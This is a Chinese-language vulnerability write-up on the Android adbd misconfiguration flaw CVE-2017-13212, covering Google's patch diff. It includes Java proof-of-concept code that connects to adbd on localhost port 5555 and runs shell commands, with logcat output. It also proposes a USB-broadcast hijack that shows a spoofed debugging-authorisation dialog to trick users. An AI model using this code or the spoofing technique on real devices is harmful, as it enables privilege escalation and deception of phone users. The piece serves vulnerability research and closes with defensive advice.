ADB配置提权漏洞(CVE-2017-13212)原理与利用分析

*本文原创作者:Tasfa,

0×01 背景

adb由于拥有shell权限,因此仅在授权PC端后才可使用shell权限,而通过该漏洞,可以实现在移动端获取shell权限,以致于可随意删除应用、屏幕截图等等高权限操作。不过移动端恶意应用程序必须能够连接到adbd正在监听的TCP端口,这就需要应用程序在它的AndroidMainifest.xml中定义INTERNET权限。

而漏洞作者所用的攻击方法是构造一个覆盖窗口,劫持用户点击,也就是经典的hijack攻击。Google也据此修复了此种攻击方式。

但是,我经过尝试后发现,除了以上构造hijack攻击窗口外,还可以劫持USB广播,然后在用户进行正常的连接电脑操作时,劫持授权界面,使用户误导从而进行授权。也即造成新的劫持授权漏洞方案。

影响:

ADB配置提权漏洞(CVE-2017-13212)原理与利用分析

0×02 原理分析

为了能利用此adb配置漏洞,首先需要adb connect到adbd正在监听的端口,然后移动端会发起授权验证窗口,用户授权,验证通过后,可使用adb shell命令执行shell权限操作。

使用adb命令“adb tcpip port”来启用adbd以监听TCP端口

adb tcpip 5555  

在启用了USB调试,且adbd正处于TCP端口监听的情况下,恶意应用程序可以利用自带的adb二进制文件连接adbd,或者可以实现adb server协议与adbd通信。如果adb server尚未被设备授权,则会触发认证请求并提示用户验证并接受RSA公钥(引用[2])。但此认证框可被覆盖(Google已经修复),具体可见参考文章。

分析下diff:

diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java    index f5447a2..329dd99 100644    --- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java    +++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java    @@ -31,8 +31,12 @@     import android.os.SystemProperties;     import android.util.Log;     import android.view.LayoutInflater;    +import android.view.MotionEvent;     import android.view.View;    +import android.view.Window;    +import android.view.WindowManager;     import android.widget.CheckBox;    +import android.widget.Toast;     import com.android.internal.app.AlertActivity;     import com.android.internal.app.AlertController;    @@ -48,6 +52,10 @@         @Override         public void onCreate(Bundle icicle) {    +        Window window = getWindow();    +        window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS);    +        window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG);    +             super.onCreate(icicle);             if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) {    @@ -79,6 +87,23 @@             ap.mView = checkbox;             setupAlert();    +    +        // adding touch listener on affirmative button - checks if window is obscured    +        // if obscured, do not let user give permissions (could be tapjacking involved)    +        //增加了对伪造窗口的认证判定,防止用户被误导授权    +        final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> {    +            // Filter obscured touches by consuming them.    +            if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0)    +                    || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) {    +                if (event.getAction() == MotionEvent.ACTION_UP) {    +                    Toast.makeText(v.getContext(),    +                            R.string.touch_filtered_warning,    +                            Toast.LENGTH_SHORT).show();    +                }    +                return true;    +            }    +            return false;    +        };    +        mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener);         }

问题:

1. 貌似只是对伪造窗口进行了防御,可漏洞难道不是因为TCP端口监听而造成提权吗?

2. 那也就是用户授权后,依旧可以在移动端获取shell权限?

结论:

确实可以在移动端获取到shell权限

思考

那如果假设能监听用户是否连接USB,在用户进行正常的USB连接PC操作时,劫持授权窗口,即弹出我们的授权,也可以造成用户误导授权。

结论:

确实可以构造接收广播,当USB连接到PC时,会优先弹出我们的授权窗口,从而误导用户获得授权

攻击思路:

静态注册监听USB连接状态的广播,优先级设置为最高

一旦监听到连接,启动后台service,执行连接命令

此时会优先弹出我们的授权窗口,由于授权窗口并没有说明来自哪里的弹窗,见下图对比,仅仅是RSA指纹不同,即使是技术人员,也很难识别是来自哪里的授权窗口。

PC端授权窗口

ADB配置提权漏洞(CVE-2017-13212)原理与利用分析

apk恶意授权窗口

ADB配置提权漏洞(CVE-2017-13212)原理与利用分析

0×03 漏洞利用

试验环境: Android 4.4.4 Nexus 5

PC端执行

 adb tcpip 5555  

作者攻击思路验证Poc:

private void escalatePrivilege() {        /*            如果大于android 6.0            需要使用预编译的adb可执行二进制文件        */            try {                String[] connectCmd = {"adb","connect","127.0.0.1:5555"};                String[] idCmd = {"adb","shell","id"};                execCommand(connectCmd);                execCommand(idCmd);            } catch (Exception e) {                Log.d(TAG, "escalatePrivilege: " + e.toString() );            }        }        private void readData(InputStream inputStream){            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));            String data ;            while (true) {                try {                    data = reader.readLine();                    if(data == null) {                        break;                    }                    Log.d(TAG, "output: " + data);                } catch (IOException e) {                    e.printStackTrace();                }            }        }        private Process execCommand(String[] cmds){            ProcessBuilder builder = new ProcessBuilder();            Process execCommandProcess = null;            builder.command(cmds);            builder.directory(this.getFilesDir());            builder.redirectErrorStream(true);            Map<String, String> env = builder.environment();            env.put("HOME", this.getFilesDir().toString());            env.put("TMPDIR", this.getFilesDir().toString());            try {                execCommandProcess = builder.start();                execCommandProcess.waitFor();                readData(execCommandProcess.getInputStream());            }catch (InterruptedException e){                e.printStackTrace();            } catch (IOException e) {                e.printStackTrace();            }            return execCommandProcess;        }  

会弹出USB调试授权窗口,google已经修复此覆盖hijack漏洞。

Logcat输出:

output: connected to 127.0.0.1:5555    output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0  

备注:

可能在实验的时候,会没有弹出授权窗口,此时删除apk,撤销USB授权后,重启机器可还原环境。

0×04 思考部分攻击思路Exp

AndroidManifest.xml 增加USB广播:

<receiver        android:name=".UsbBroadcastReceiver"        android:enabled="true"        android:exported="true">        <intent-filter android:priority="100">            <action android:name="android.hardware.usb.action.USB_STATE"/>        </intent-filter>    </receiver>  

然后在接收广播后,启动service,在onStartCommand中进行连接:

public int onStartCommand(Intent intent, int flags, int startId) {            Log.d(TAG, "onStartCommand: adb vul");            String[] connectCmd = {"adb","connect","127.0.0.1:5555"};            execCommand(connectCmd);            return super.onStartCommand(intent, flags, startId);        }  

此时只要用户打开过该恶意应用,然后连接USB至电脑,则会弹出恶意的授权窗口:

ADB配置提权漏洞(CVE-2017-13212)原理与利用分析

只有用户点击一律允许后,再次连接usb才会弹出pc端的授权,也因此造成了用户的诱导.

0×05 防御与总结

防御

在进行试验的时候,漏洞利用阶段相对不稳定,有时候在连接的时候,并没有正常的弹窗,具体原因暂不明,后续有时间再研究。只要能正常弹出授权窗口,那么以上的攻击思路也即生效。

尽量在正规应用商店下载应用,不要授权来历不明的PC,注意授权的指纹信息

漏洞由于需要用户授权,也因此严重程度较低

总结

正向思考: 在用户进行正常授权后,可获得shell权限,也即可以在移动端实现静默安装、卸载等等功能。

通过授权劫持攻击,恶意应用可以在用户不知情的情况下获取高权限,从而对系统造成破坏。

0×06 参考

Privilege Escalation via adbd Misconfiguration

经验分享 | 通过adbd配置漏洞在安卓设备上提升权限

*本文原创作者:Tasfa,